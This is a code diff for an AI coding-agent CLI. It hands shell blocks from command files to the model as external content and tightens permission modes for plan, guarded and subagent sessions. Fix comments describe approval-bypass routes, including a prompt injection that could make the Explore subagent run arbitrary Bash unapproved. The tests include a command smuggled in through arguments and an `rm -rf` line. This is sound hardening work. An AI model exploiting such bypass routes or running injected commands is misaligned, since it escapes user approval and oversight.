+    scope: string;
+    source: string;
+  };
+}
+
 const POSITIONAL_ARGUMENT_PATTERN = /\$(\d+)/g;
 const ALL_ARGUMENTS_TOKEN = "$ARGUMENTS";
-const INLINE_SHELL_PATTERN = /!`[^`]*`/;
-const FENCED_SHELL_PATTERN = /```!\s*[\s\S]*?```/;
+// fenced 在前:同一位置两种写法都能匹配时按 fenced 处理。行内写法要求 `!` 在行首或空白之后,
+// 避免把 `Warning!` 这类正文和后一个代码段误判成命令。
+const SHELL_BLOCK_PATTERN = /```!\s*([\s\S]*?)```|(?<=^|\s)!`([^`]*)`/gmu;
+// 会话 ID 与工作区目录由 Bash 工具作为环境变量注入(tool/04-bash.md),块里保持原文。
+// 这里只处理 Bash 拿不到的变量:插件变量换成插件的真实值,skill 目录变量命令没有。变量名逐个写全。
+const SHELL_TEXT_VARIABLES = [
+  "CLAUDE_PLUGIN_DATA",
+  "CLAUDE_PLUGIN_ROOT",
+  "CLAUDE_SKILL_DIR",
+  "ZCODE_PLUGIN_DATA",
+  "ZCODE_PLUGIN_ID",
+  "ZCODE_PLUGIN_NAME",
+  "ZCODE_PLUGIN_ROOT",
+  "ZCODE_SKILL_DIR",
+].join("|");
+// `${...}` 里变量名前的 `#`/`!`(取长度、间接引用)与变量名后除 `}` 以外的部分(`:-x`、`%/` 等)
+// 都是修饰符写法。
+const SHELL_TEXT_VARIABLE_PATTERN = new RegExp(
+  `\\$(?:\\{([#!]?)(${SHELL_TEXT_VARIABLES})(\\}|[^A-Za-z0-9_}][^}]*\\})|(${SHELL_TEXT_VARIABLES})(?![A-Za-z0-9_]))`,
+  "gu",
+);
+// 盘符路径(`C:\`)或 UNC 路径(`\\server`)。
+const WINDOWS_PATH_PATTERN = /^(?:[A-Za-z]:\\|\\\\)/u;
 
 export function expandCustomCommandPrompt(input: {
   args: string;
   command: CustomCommandContent;
 }): CustomCommandExpansion {
-  const expanded = expandCustomCommandTemplate(input);
-  const dynamicSyntax = detectUnsupportedDynamicSyntax(expanded.body);
-  if (dynamicSyntax) {
-    throw new Error(
-      `Custom command /${input.command.metadata.name} uses unsupported ${dynamicSyntax} expansion. Dynamic expansion is not available yet.`,
-    );
-  }
+  // 改写在参数替换之前:参数文本永远不会被当成 shell 块。
+  const content = handOffCustomCommandShellBlocks(input.command.content, {
+    metadata: input.command.metadata,
+  });
+  const expanded = expandCustomCommandTemplate({
+    args: input.args,
+    command: { ...input.command, content },
+  });
 
   return formatCustomCommandPrompt({
     body: expanded.body,
@@ -137,7 +168,73 @@ export function expandCustomCommandPrompt(input: {
   });
 }
 
-export function expandCustomCommandTemplate(input: {
+/**
+ * 把命令正文里的 `` !`cmd` `` 和 ```` ```! ```` 块改写成交给模型的 Bash 指令,解析阶段只改写文本、不执行 shell。
+ *
+ * 执行统一走模型的 Bash 工具调用,由权限服务决定放行、询问或拒绝,用户看得到这次工具调用;
+ * 解析本身没有失败路径,不影响发送、队列、编辑、重试的顺序。说明文字写明这一步来自命令文件
+ * 而不是 ZCode,让模型按外部内容对待它。
+ */
+export function handOffCustomCommandShellBlocks(
+  content: string,
+  input: CustomCommandShellHandOffInput,
+): string {
+  const { metadata } = input;
+  const origin = `the /${metadata.name} command file (${metadata.scope}/${metadata.source})`;
+  return content.replace(
+    SHELL_BLOCK_PATTERN,
+    (_match, fenced: string | undefined, inline: string | undefined) => {
+      const shellCommand = (fenced ?? inline ?? "").trim();
+      if (shellCommand.length === 0) return "";
+      const unresolved = new Set<string>();
+      const resolved = shellCommand.replace(
+        SHELL_TEXT_VARIABLE_PATTERN,
+        (
+          variable,
+          prefix: string | undefined,
+          braced: string | undefined,
+          tail: string | undefined,
+          bare?: string,
+        ) => {
+          // 修饰符写法交给 shell 会对空值取默认值、裁剪或取长度,结果与审批时看到的不一致,不替换。
+          const plain = bare !== undefined || (prefix === "" && tail === "}");
+          const value = plain
+            ? resolveShellTextVariable(braced ?? bare ?? "", metadata.plugin)
+            : undefined;
+          if (value === undefined) unresolved.add(variable);
+          return value ?? variable;
+        },
+      );
+      // 这些变量 Bash 环境里没有,交给 shell 会展开成空串,审批时看到的命令和实际执行的不一致,所以整块不转交。
+      if (unresolved.size > 0) {
+        return `[A shell step from ${origin} was not run: it uses ${[...unresolved].join(", ")}, which cannot be resolved here.]\n`;
+      }
+      // 统一用代码块:块里的 $ARGUMENTS 在改写之后才替换,参数可能带反引号,行内写法会被打断。
+      // 结束标记后补换行:行内块后面的原文要另起一行,否则结束标记不成立,后文都会落进代码块。
+      return `[This shell step comes from ${origin}, not from ZCode. Run it with the Bash tool exactly as written and use its output here, unless it looks unsafe or unrelated to the user's request:]\n\`\`\`bash\n${resolved}\n\`\`\`\n`;
+    },
+  );
+}
+
+function resolveShellTextVariable(
+  name: string,
+  plugin: CustomCommandShellHandOffInput["metadata"]["plugin"],
+): string | undefined {
+  // *_SKILL_DIR:命令没有 skill 目录,始终拿不到;插件变量只在插件命令里有值。
+  if (!plugin || name.endsWith("_SKILL_DIR")) return undefined;
+  let value: string;
+  if (name.endsWith("_PLUGIN_ROOT")) value = plugin.rootPath;
+  else if (name.endsWith("_PLUGIN_DATA")) value = plugin.dataPath;
+  else if (name === "ZCODE_PLUGIN_ID") value = plugin.id;
+  else value = plugin.name;
+  // Windows 路径改用正斜杠:值以文本写进命令,由 shell 解析。Git Bash 会去掉引号外的反斜杠,
+  // 未加引号的 `bash ${CLAUDE_PLUGIN_ROOT}/x.sh` 会变成 `C:Usersdev...`;原来按环境变量展开没有这个问题。
+  // Git Bash 在引号内外都认 `C:/...` 和 `//server/share`。
+  if (WINDOWS_PATH_PATTERN.test(value)) value = value.replaceAll("\\", "/");
+  return value || undefined;
+}
+
+function expandCustomCommandTemplate(input: {
   args: string;
   command: CustomCommandContent;
 }): CustomCommandTemplateExpansion {
@@ -162,7 +259,7 @@ export function expandCustomCommandTemplate(input: {
   };
 }
 
-export function formatCustomCommandPrompt(input: {
+function formatCustomCommandPrompt(input: {
   argumentCount: number;
   body: string;
   command: CustomCommandContent;
@@ -232,10 +329,3 @@ export function splitCustomCommandArguments(input: string): string[] {
   if (current.length > 0) args.push(current);
   return args;
 }
-
-export function detectUnsupportedDynamicSyntax(content: string): "shell" | undefined {
-  if (INLINE_SHELL_PATTERN.test(content) || FENCED_SHELL_PATTERN.test(content)) {
-    return "shell";
-  }
-  return undefined;
-}

+ 22 - 0
apps/zcode-cli/packages/contracts/src/interfaces/session.port.ts

@@ -39,6 +39,28 @@ export function inheritPermissionMode<T extends CollaborationMode | undefined>(
 ): T | "guarded" {
   return parent === "guarded" && resolved === "yolo" ? "guarded" : resolved;
 }
+
+/**
+ * 从严到宽,按各模式的默认策略排列;auto 尚未实现,不参与比较。
+ * 例外:guarded 的危险命令审批先于 allow 规则,配置 allow 规则时 build/edit 可能放行 guarded 会询问的命令。
+ */
+const PERMISSION_MODE_STRICTNESS: readonly CollaborationMode[] = [
+  "plan",
+  "build",
+  "edit",
+  "guarded",
+  "yolo",
+];
+
+/** 子模式只能收紧父模式:返回更严格的一个;任一方无法比较时继承父模式。 */
+export function restrictPermissionMode(
+  parent: CollaborationMode,
+  child: CollaborationMode,
+): CollaborationMode {
+  const parentRank = PERMISSION_MODE_STRICTNESS.indexOf(parent);
+  const childRank = PERMISSION_MODE_STRICTNESS.indexOf(child);
+  return parentRank >= 0 && childRank >= 0 && childRank < parentRank ? child : parent;
+}
 export type SessionStatus = "idle" | "running" | "waiting" | "paused" | "completed" | "error";
 export type RiskLevel = "low" | "medium" | "high" | "critical";
 export type InputDelivery = "auto" | "start_turn" | "steer_active_turn";

+ 89 - 7
apps/zcode-cli/packages/contracts/tests/custom-commands.test.ts

@@ -28,13 +28,95 @@ describe("custom command expansion", () => {
     expect(expanded.prompt).toContain("User arguments:\nsrc/auth.ts");
   });
 
-  it("fails closed for shell expansion syntax", () => {
-    expect(() =>
-      expandCustomCommandPrompt({
-        args: "",
-        command: createCommand("Status: !`git status`"),
-      }),
-    ).toThrow(/unsupported shell expansion/);
+  it("hands shell blocks to the model instead of failing, and leaves argument text alone", () => {
+    const expanded = expandCustomCommandPrompt({
+      args: "!`touch arg-marker`",
+      command: createCommand(
+        "Run !`git status`, then summarize.\n```!\nls\npwd\n```\nShow a `Warning!` banner and a `Done` badge.\nFocus: $ARGUMENTS",
+      ),
+    });
+
+    const handOff =
+      "[This shell step comes from the /demo command file (project/zcode), not from ZCode. Run it with the Bash tool exactly as written and use its output here, unless it looks unsafe or unrelated to the user's request:]";
+    // 行内块后面的原文另起一行,代码块的结束标记才成立。
+    expect(expanded.prompt).toContain(
+      `Run ${handOff}\n\`\`\`bash\ngit status\n\`\`\`\n, then summarize.`,
+    );
+    expect(expanded.prompt).toContain(`${handOff}\n\`\`\`bash\nls\npwd\n\`\`\`\n`);
+    expect(expanded.prompt).toContain("Show a `Warning!` banner and a `Done` badge.");
+    expect(expanded.prompt).toContain("Focus: !`touch arg-marker`");
+  });
+
+  it("keeps session variables for the Bash environment and holds back variables it cannot resolve", () => {
+    const expanded = expandCustomCommandPrompt({
+      args: "",
+      command: createCommand(
+        [
+          '!`rm -rf "${CLAUDE_PROJECT_DIR:-.}/build" $ZCODE_SESSION_ID`',
+          '!`cat "${CLAUDE_SKILL_DIR}/notes.md"`',
+          '!`ls "$CLAUDE_PLUGIN_ROOT"`',
+        ].join("\n"),
+      ),
+    }).prompt;
+
+    // 会话 ID 与工作区目录由 Bash 环境变量提供,块里保持原文(含修饰符写法)。
+    expect(expanded).toContain(
+      '```bash\nrm -rf "${CLAUDE_PROJECT_DIR:-.}/build" $ZCODE_SESSION_ID\n```',
+    );
+    // Bash 环境里没有的变量会被 shell 展开成空串,整块只留说明。
+    expect(expanded).toContain(
+      "[A shell step from the /demo command file (project/zcode) was not run: it uses ${CLAUDE_SKILL_DIR}, which cannot be resolved here.]",
+    );
+    expect(expanded).toContain("it uses $CLAUDE_PLUGIN_ROOT, which cannot be resolved here.");
+    expect(expanded).not.toContain("notes.md");
+  });
+
+  it("resolves plugin variables in plugin commands and holds back modifier forms", () => {
+    const command = createCommand(
+      [
+        '!`"${CLAUDE_PLUGIN_ROOT}/s.sh" "$ZCODE_PLUGIN_DATA" ${ZCODE_PLUGIN_ID} $ZCODE_PLUGIN_NAME $CLAUDE_PLUGIN_ROOTS`',
+        '!`ls "${CLAUDE_PLUGIN_ROOT%/}"`',
+        "!`echo ${#ZCODE_PLUGIN_ROOT}`",
+      ].join("\n"),
+    );
+    command.metadata = {
+      ...command.metadata,
+      plugin: { dataPath: "/data/p", id: "p@market", name: "p", rootPath: "/plugins/p" },
+      scope: "user",
+      source: "plugin",
+    };
+
+    const expanded = expandCustomCommandPrompt({ args: "", command }).prompt;
+    // 只替换完整变量名;`$CLAUDE_PLUGIN_ROOTS` 是另一个变量,保持原文。
+    expect(expanded).toContain(
+      '```bash\n"/plugins/p/s.sh" "/data/p" p@market p $CLAUDE_PLUGIN_ROOTS\n```',
+    );
+    expect(expanded).toContain(
+      "[A shell step from the /demo command file (user/plugin) was not run: it uses ${CLAUDE_PLUGIN_ROOT%/}, which cannot be resolved here.]",
+    );
+    expect(expanded).toContain("it uses ${#ZCODE_PLUGIN_ROOT}, which cannot be resolved here.");
+  });
+
+  it("writes Windows plugin paths with forward slashes, quoted or not", () => {
+    const command = createCommand(
+      ["!`bash ${CLAUDE_PLUGIN_ROOT}/scripts/run.sh`", '!`ls "$ZCODE_PLUGIN_DATA"`'].join("\n"),
+    );
+    command.metadata = {
+      ...command.metadata,
+      plugin: {
+        dataPath: "\\\\server\\share\\data\\p",
+        id: "p@market",
+        name: "p",
+        rootPath: "C:\\Users\\dev\\.zcode\\plugins\\p",
+      },
+      scope: "user",
+      source: "plugin",
+    };
+
+    const expanded = expandCustomCommandPrompt({ args: "", command }).prompt;
+    // Git Bash 会去掉引号外的反斜杠;正斜杠写法在引号内外都保持原路径。
+    expect(expanded).toContain("```bash\nbash C:/Users/dev/.zcode/plugins/p/scripts/run.sh\n```");
+    expect(expanded).toContain('```bash\nls "//server/share/data/p"\n```');
   });
 
   it("splits quoted arguments consistently", () => {

+ 61 - 18
apps/zcode-cli/packages/core/src/permission/service.ts

@@ -9,6 +9,7 @@ import {
   isFillWorkflowHoleOwnedRun,
   PermissionCapabilityGroup,
   type PermissionCapabilityGroup as PermissionCapabilityGroupType,
+  type PermissionOptionsPolicy,
   type PermissionRuleValue,
   type PermissionRuleset,
   type PermissionUpdate,
@@ -64,6 +65,8 @@ export type PermissionBehavior = "allow" | "ask" | "deny";
 
 export interface PermissionDecisionResult {
   approvalMode?: "user-once";
+  /** 判定自带的询问选项策略,覆盖工具声明的策略(Plan 下的 MCP 询问不提供始终允许)。 */
+  optionsPolicy?: PermissionOptionsPolicy;
   decision: PermissionBehavior;
   allowed: boolean;
   reason?: string;
@@ -134,15 +137,7 @@ export class PermissionService {
     // 独立 Plan 优先于 Guarded 的 YOLO 基础策略,审批不能解除 Plan 的执行限制。
     const planEnabled = context.planEnabled ?? context.mode === "plan";
     if (!planEnabled && context.mode === "guarded" && toolCapability?.userApprovalRule) {
-      return {
-        ...this.ask(
-          context,
-          capability,
-          toolCapability.userApprovalRule,
-          "Dangerous command requires your approval for this execution",
-        ),
-        approvalMode: "user-once",
-      };
+      return this.guardedSingleUseAsk(context, capability, toolCapability.userApprovalRule);
     }
 
     // 保留 staging 的工具级确认,不被 Guarded 普通调用的 YOLO 基础策略跳过。
@@ -209,7 +204,24 @@ export class PermissionService {
     }
 
     if (planEnabled) {
-      return this.checkPlanMode(context, capability);
+      const planDecision = this.checkPlanMode(context, capability);
+      if (planDecision?.decision === "deny") return planDecision;
+      // 修复原因:上方 guarded 单次确认带 !planEnabled,开着 Plan 时被整个跳过,下方又补回 guarded
+      // 放行;危险命令规则一旦匹配到能通过闸门的工具,guarded + Plan 就会免确认执行。
+      // 闸门没拒绝时在这里补做单次确认,Plan 的拒绝仍优先。
+      if (context.mode === "guarded" && toolCapability?.userApprovalRule) {
+        return this.guardedSingleUseAsk(context, capability, toolCapability.userApprovalRule);
+      }
+      if (planDecision) return planDecision;
+      // 闸门放过后按原模式判定;yolo/guarded 的放行在上方因 planEnabled 被跳过,这里补回。
+      if (context.mode === "yolo" || context.mode === "guarded") {
+        return this.allow(
+          context,
+          capability,
+          "mode.yolo",
+          "Yolo mode bypasses permission prompts",
+        );
+      }
     }
 
     if (this.matchesProjectRules(projectRules, "allow", context, capability, rulePolicy)) {
@@ -463,11 +475,32 @@ export class PermissionService {
     return false;
   }
 
-  private checkPlanMode(
+  /** Guarded 危险命令的单次确认:不提供始终允许,确认只对这一次执行有效。 */
+  private guardedSingleUseAsk(
     context: PermissionContext,
     capability: ResolvedPermissionCapability,
+    ruleId: string,
   ): PermissionDecisionResult {
-    if (capability.readOnly && !capability.destructive) {
+    return {
+      ...this.ask(
+        context,
+        capability,
+        ruleId,
+        "Dangerous command requires your approval for this execution",
+      ),
+      approvalMode: "user-once",
+    };
+  }
+
+  /**
+   * Plan 闸门:只在原模式之上收紧。返回 undefined 表示放过,由调用方继续按原模式判定。
+   */
+  private checkPlanMode(
+    context: PermissionContext,
+    capability: ResolvedPermissionCapability,
+  ): PermissionDecisionResult | undefined {
+    // 原模式对只读免审批工具同样放行,这里直接放行只为保留 ruleId。
+    if (capability.readOnly && !capability.destructive && !capability.needsApproval) {
       return this.allow(
         context,
         capability,
@@ -476,13 +509,23 @@ export class PermissionService {
       );
     }
 
+    // 修复原因:这里曾对只读工具不看 needsApproval、对非 destructive MCP 直接放行,Plan 因此比
+    // 原模式更宽(任意 URL 的 WebFetch、MCP 写工具、node_repl 的 js 都免审批),而 EnterPlanMode
+    // 本身免确认。现在需审批的只读工具(WebFetch、readOnlyHint MCP)只过闸,交给原模式判定。
+    if (capability.readOnly && !capability.destructive) return undefined;
+
     if (this.isMcpToolCapability(capability) && !capability.destructive) {
-      return this.allow(
-        context,
-        capability,
-        "mode.plan.mcp",
-        "Plan mode allows non-destructive MCP tool execution",
-      );
+      if (context.mode === "yolo" || context.mode === "guarded") return undefined;
+      // 询问排在 allow 规则之前,规则不能跳过;Plan 下记住的规则不会生效,所以不提供始终允许。
+      return {
+        ...this.ask(
+          context,
+          capability,
+          "mode.plan.mcp",
+          "Plan mode requires approval for MCP tools that are not read-only",
+        ),
+        optionsPolicy: "no-always-allow",
+      };
     }
 
     if (

+ 47 - 0
apps/zcode-cli/packages/core/src/runtime/helpers/runtime-reminders.ts

@@ -9,6 +9,7 @@ import {
 import type {
   CollaborationMode,
   OutputStylePromptConfig,
+  SessionTaskType,
   SyntheticUserMessageSource,
   TodoItem,
 } from "../deps.js";
@@ -77,6 +78,19 @@ const PLAN_MODE_SPARSE_REMINDER = [
   `Plan mode still active (see full instructions earlier in conversation). Read-only. Follow 5-phase workflow. End turns with ${ASK_USER_QUESTION_TOOL_NAME} (for clarifications) or ${EXIT_PLAN_MODE_TOOL_NAME} (for plan approval). Never ask about plan approval via text or AskUserQuestion.`,
 ];
 
+/** 子会话的 Plan 提醒:只保留只读约束,不含主会话的五阶段流程与收尾要求。 */
+function buildSubagentPlanModeReminder(askUserQuestionAvailable: boolean): string {
+  return [
+    PLAN_MODE_FULL_REMINDER[0],
+    "Only take read-only actions, and answer the delegated query comprehensively.",
+    ...(askUserQuestionAvailable
+      ? [
+          `If you need clarification, use the ${ASK_USER_QUESTION_TOOL_NAME} tool and ask all of your clarifying questions before proceeding.`,
+        ]
+      : []),
+  ].join("\n\n");
+}
+
 const PLAN_MODE_EXIT_REMINDER = [
   "## Exited Plan Mode",
   "",
@@ -255,10 +269,39 @@ export function buildTodoReminderBody(todos: readonly TodoItem[]): string {
   return lines.join("\n");
 }
 
+/**
+ * Plan 提醒按会话类型选择正文;轮内收集与 compact 后重发共用,避免一处漏掉子会话。
+ * tools 传本轮可见工具,用来判断子会话能否用 AskUserQuestion。
+ */
+export function buildRuntimeModeReminderBodyForTask(
+  entries: readonly RuntimeMessageEntry[],
+  input: {
+    mode: CollaborationMode;
+    planEnabled: boolean;
+    taskType: SessionTaskType | undefined;
+    tools: readonly { name: string }[];
+  },
+): string | null {
+  return buildRuntimeModeReminderBody(
+    entries,
+    input.mode,
+    input.planEnabled,
+    input.taskType === "subagent_child"
+      ? {
+          askUserQuestionAvailable: input.tools.some(
+            (tool) => tool.name === ASK_USER_QUESTION_TOOL_NAME,
+          ),
+        }
+      : undefined,
+  );
+}
+
 export function buildRuntimeModeReminderBody(
   entries: readonly RuntimeMessageEntry[],
   mode: CollaborationMode,
   planEnabled = mode === "plan",
+  /** 子会话传入:只发精简提醒;askUserQuestionAvailable 表示子会话能看到 AskUserQuestion。 */
+  subagent?: { askUserQuestionAvailable: boolean },
 ): string | null {
   if (!planEnabled) return null;
 
@@ -271,6 +314,10 @@ export function buildRuntimeModeReminderBody(
     return null;
   }
 
+  // 修复原因:子会话继承父会话 Plan 后收到了主会话的五阶段提醒,被要求再派生 Explore、只能以
+  // AskUserQuestion 或 ExitPlanMode 收尾,而子会话没有 ExitPlanMode,也不能再派生子 agent。
+  if (subagent) return buildSubagentPlanModeReminder(subagent.askUserQuestionAvailable);
+
   const nextReminderCount = countRuntimeModeReminders(entries) + 1;
   const reminderLines =
     nextReminderCount % RUNTIME_MODE_REMINDER_CONFIG.FULL_REMINDER_EVERY_N_ATTACHMENTS === 1

+ 8 - 2
apps/zcode-cli/packages/core/src/runtime/methods/compact-active.ts

@@ -51,7 +51,7 @@ import {
   readApprovedPlanFileReferenceEntry,
   replaceReadFileStateAfterCompact,
   restorePostCompactFiles,
-  buildRuntimeModeReminderBody,
+  buildRuntimeModeReminderBodyForTask,
   hasFullRuntimeModeReminder,
 } from "../helpers/index.js";
 import {
@@ -574,9 +574,15 @@ async function compactActiveConversationImpl(
       // 修复原因:输入附件与 auto/reactive compaction 在同一次循环中,且先于 compaction 收集;
       // 保留段可能已带本次收集的完整提醒,无条件重发会出现两条完整提醒,周期也多算一次。
       // 保留段只有简短提醒时,完整说明已被摘要,仍要重发。
+      // 修复原因:这里曾不区分子会话,子会话 compact 后又收到主会话的五阶段提醒;与轮内收集共用选择逻辑。
       const planModeReminderBody = hasFullRuntimeModeReminder(preservedEntries)
         ? null
-        : buildRuntimeModeReminderBody([], this.getMode(), this.getPlanEnabled());
+        : buildRuntimeModeReminderBodyForTask([], {
+            mode: this.getMode(),
+            planEnabled: this.getPlanEnabled(),
+            taskType: this.config.taskType,
+            tools: compactCandidates,
+          });
       // compaction 附件顺序:文件恢复 → plan 文件 → plan 提醒 → ToolSearch 公告
       // → agent listing → skill 列表 → 环境 → 模型 → 输出风格。
       // 修复原因:agent listing 排在文件恢复之前,顺序错误。

+ 7 - 0
apps/zcode-cli/packages/core/src/runtime/methods/events.ts

@@ -575,6 +575,13 @@ export function isSessionPersisted(this: AgentRuntimeInternal): boolean {
 
 const pendingSessionPersistence = new WeakMap<AgentRuntimeInternal, Promise<void>>();
 
+/** 授权复用已有持久化等待;读取不能使草稿提前成为正式任务。 */
+export function getPendingSessionPersistence(
+  runtime: AgentRuntimeInternal,
+): Promise<void> | undefined {
+  return pendingSessionPersistence.get(runtime);
+}
+
 export async function ensureSessionPersisted(
   this: AgentRuntimeInternal,
   input: string,

+ 3 - 0
apps/zcode-cli/packages/core/src/runtime/methods/resume.ts

@@ -227,6 +227,9 @@ export async function resumeFromStore(
   if (savedExecution.success && options?.modeOverride === undefined) {
     Object.assign(this.config, savedExecution.data);
   }
+  // 修复原因:子会话恢复曾沿用落盘的执行状态,父会话从 yolo 改为 build 后,恢复的子会话仍免审批执行命令;
+  // 调用方给出的完整执行状态最后生效,覆盖上面的历史 mode 与落盘状态。
+  if (options?.executionStateOverride) Object.assign(this.config, options.executionStateOverride);
   // onDemand 会话的工具面随记录恢复(launch.md「On demand: activation」):entry 在场,或历史里
   // 有过 `/workflow` / 十个工具的调用。要在首轮之前完成,所以放在 resume 里而不是等下一次 turn。
   await restoreDynamicWorkflowActivationOnResume.call(this, messages);

+ 35 - 18
apps/zcode-cli/packages/core/src/runtime/methods/subagent.ts

@@ -4,12 +4,10 @@ import {
   SESSION_ENTRY_MODEL_SELECTION,
   parseModelSelectionValue,
 } from "@zcode/contracts";
-import type { SubagentRunOptions } from "@zcode/contracts";
-import { inheritPermissionMode } from "@zcode/contracts";
+import type { CollaborationMode, SubagentRunOptions, WorkspaceId } from "@zcode/contracts";
+import { inheritPermissionMode, restrictPermissionMode } from "@zcode/contracts";
 import {
   defaultScheduler,
-  PermissionService,
-  defaultPermissionConfig,
   buildExploreAllowedTools,
   buildExploreAgentPrompt,
   createExploreSubagentPort,
@@ -28,6 +26,7 @@ import type {
   SkillPort,
   SubagentPort,
 } from "../deps.js";
+import { resolveExecutionState } from "@zcode/shared";
 import { AgentRuntime } from "../agent-runtime.js";
 import type { AgentRuntimeInternal } from "../internal.js";
 import { cloneModelSelection } from "../model-selection.js";
@@ -222,8 +221,13 @@ export function createDefaultSubagentPort(
         const childMode = resolveSubagentPermissionMode(
           this.getPlanEnabled() ? "plan" : this.config.mode,
           request.permissionMode,
-          builtInExplore,
+          request.profile.permissionModeRestrictOnly === true,
         );
+        // 旧 plan 枚举不包含基础权限;拆分后继承父会话的基础模式。新建与恢复子会话共用这一份状态。
+        const childExecutionState = resolveExecutionState({
+          mode: childMode === "plan" ? this.config.mode : childMode,
+          planEnabled: childMode === "plan",
+        });
         const childCuaPolicy = createOfficialCuaPolicy(
           officialCuaServerNames,
           childMcpAccess.parentSnapshot?.tools ?? childMcpAccess.snapshot?.tools ?? [],
@@ -300,9 +304,7 @@ export function createDefaultSubagentPort(
         const childRuntime = new AgentRuntime(
           request.sessionId,
           {
-            // 旧 plan 枚举不包含基础权限;拆分后继承完整状态,避免被构造器回退成 build。
-            mode: childMode === "plan" ? this.config.mode : childMode,
-            planEnabled: childMode === "plan",
+            ...childExecutionState,
             // 模型选择的影响不只在最终 request.model:MCS、内建搜索与 token/media 预算会在
             // child runtime 内按 default model 预先塑形。同步 child 因此必须把整套执行
             // 配置都指向父 turn 快照;runner 禁止它转后台,provider registry 则由父 turn
@@ -310,6 +312,11 @@ export function createDefaultSubagentPort(
             modelSelection: cloneModelSelection(childSelection),
             modelContextBudgetStrategy: this.config.modelContextBudgetStrategy,
             workingDirectory: request.workingDirectory,
+            // Bash cd 只改变执行 cwd;若丢失绑定身份,child 会落到另一个 workspace,重启后无法打开。
+            workspacePath: this.config.workspacePath ?? request.workspaceRoot,
+            workspaceIdentity:
+              this.config.workspaceIdentity ??
+              (this.config.memory?.workspaceIdentity?.trim() as WorkspaceId | undefined),
             // 执行模型只由 child Active Model 投影进 Context;envInfo 不保存第二份模型事实。
             envInfo: childRuntimeEnvInfo,
             // Explore 子运行时之前没有继承主会话的流式配置,Protocol 桌面端虽已默认
@@ -390,10 +397,9 @@ export function createDefaultSubagentPort(
               parentToolCallId,
               enqueue: (input) => this.enqueueSubagentMessage(input),
             }),
-            // Explore 使用独立只读权限配置;general-purpose 和自定义 agent 继承父权限服务。
-            permissionService: builtInExplore
-              ? new PermissionService(defaultPermissionConfig)
-              : this.permissionService,
+            // 修复原因:Explore 曾新建默认配置的权限服务,父会话的 allowedTools、disallowedTools 和
+            // 会话内授权都不生效。所有子会话(含 Explore)都继承父会话的权限服务。
+            permissionService: this.permissionService,
             toolScheduler: deps.toolScheduler ?? defaultScheduler,
             executionPort: deps.executionPort,
             fileSystemPort: deps.fileSystemPort,
@@ -473,6 +479,9 @@ export function createDefaultSubagentPort(
             });
             previousSelection = parseModelSelectionValue(entries?.at(-1)?.data);
             await childRuntime.resumeFromStore({
+              // 修复原因:恢复曾沿用子会话落盘时的模式,父会话改模式或升级后(Explore 曾固定 yolo)
+              // 恢复的子会话仍按旧模式运行;这里用本次按父会话当前状态算出的模式覆盖。
+              executionStateOverride: childExecutionState,
               persistedMessages,
               traceContext: request.traceContext,
             });
@@ -610,21 +619,29 @@ function createSubagentOverrideModelFactory(
 function resolveSubagentPermissionMode(
   parentMode: AgentRuntimeInternal["config"]["mode"],
   permissionMode: ExploreSubagentRuntimeRequest["permissionMode"],
-  builtInExplore: boolean,
+  restrictOnly: boolean,
 ): AgentRuntimeInternal["config"]["mode"] {
+  // 修复原因:插件 profile 按用户级解析,声明 bypassPermissions 时父会话 build 的子会话
+  // 也会变成 yolo,模型生成的命令全部免审批。插件声明只能收紧:取父会话与声明中更严格的一个。
+  // 父会话未设置模式时按 build 比较,与 getMode 的默认值一致。
+  const applyDeclared = (mode: CollaborationMode): CollaborationMode =>
+    restrictOnly ? restrictPermissionMode(parentMode ?? "build", mode) : mode;
   switch (permissionMode) {
     case "bypassPermissions":
     case "dontAsk":
-      return inheritPermissionMode(parentMode, "yolo");
+      return applyDeclared(inheritPermissionMode(parentMode, "yolo"));
     case "acceptEdits":
-      return "edit";
+      return applyDeclared("edit");
     case "auto":
-      return "auto";
+      return applyDeclared("auto");
     case "plan":
-      return "plan";
+      return applyDeclared("plan");
     case "default":
     case undefined:
-      return inheritPermissionMode(parentMode, builtInExplore ? "yolo" : parentMode);
+      // 修复原因:内置 Explore 曾在这里固定为 yolo,只靠 prompt 约束只读;提示注入后模型可经
+      // Agent(Explore) 在 build 或 Plan 父会话下免审批执行任意 Bash。现在与其他 profile 一样继承
+      // 父会话模式与 Plan 状态,Bash 是否只读交给 shell AST 判定。
+      return parentMode;
     default:
       return parentMode;
   }

+ 8 - 4
apps/zcode-cli/packages/core/src/runtime/methods/turn-loop.ts

@@ -17,7 +17,7 @@ import {
   TurnMachineImpl,
 } from "../deps.js";
 import {
-  buildRuntimeModeReminderBody,
+  buildRuntimeModeReminderBodyForTask,
   buildPlanModeExitReminderBody,
   buildRuntimeOutputStyleReminderBody,
   buildTodoReminderBody,
@@ -285,10 +285,14 @@ async function collectInputAttachments(
     );
     runtime.needsPlanModeExitReminder = false;
   }
-  const runtimeModeReminderBody = buildRuntimeModeReminderBody(
+  const runtimeModeReminderBody = buildRuntimeModeReminderBodyForTask(
     state.turnRequestState.entries,
-    runtime.getMode(),
-    runtime.getPlanEnabled(),
+    {
+      mode: runtime.getMode(),
+      planEnabled: runtime.getPlanEnabled(),
+      taskType: runtime.config.taskType,
+      tools,
+    },
   );
   if (runtimeModeReminderBody) {
     // 只写内存会在冷恢复时丢失提醒与计数边界;复用动态公告的持久化和 hydration。

+ 28 - 17
apps/zcode-cli/packages/core/src/runtime/permission-full-access.ts

@@ -7,12 +7,13 @@ import {
 } from "@zcode/contracts";
 import type { AgentRuntimeInternal } from "./internal.js";
 import { buildExecutionStateEntry, readRuntimeExecutionState } from "./execution-state.js";
+import { getPendingSessionPersistence } from "./methods/events.js";
 import {
   unpublishedPermissionGrants,
   recoverPendingPermissionGrant,
 } from "./permission-grant-recovery.js";
 
-const appliedGrants = new WeakMap<AgentRuntimeInternal, Set<string>>();
+const appliedGrants = new WeakMap<AgentRuntimeInternal, Map<string, SessionEvent>>();
 
 /** 完全访问只改当前任务;receipt 固定目标集合,发布失败后不能重新抓取后来队列。 */
 export async function grantPermissionFullAccess(
@@ -40,6 +41,7 @@ export async function grantPermissionFullAccess(
       type: PERMISSION_FULL_ACCESS_ENTRY,
     });
     const saved = entries?.find((entry) => entry.id === receiptId);
+    const appliedEvent = appliedGrants.get(this)?.get(interactionId);
     let event: SessionEvent;
     if (saved) {
       const data = permissionFullAccessReceiptSchema.parse(saved.data);
@@ -47,8 +49,15 @@ export async function grantPermissionFullAccess(
         throw new Error("Permission receipt scope mismatch");
       }
       event = data.event as SessionEvent;
+    } else if (appliedEvent) {
+      // 草稿没有 receipt;发布失败后必须复用原事件,不能重复提权或覆盖后续用户选择。
+      event = appliedEvent;
     } else {
       const projection = await this.rebuildProjection();
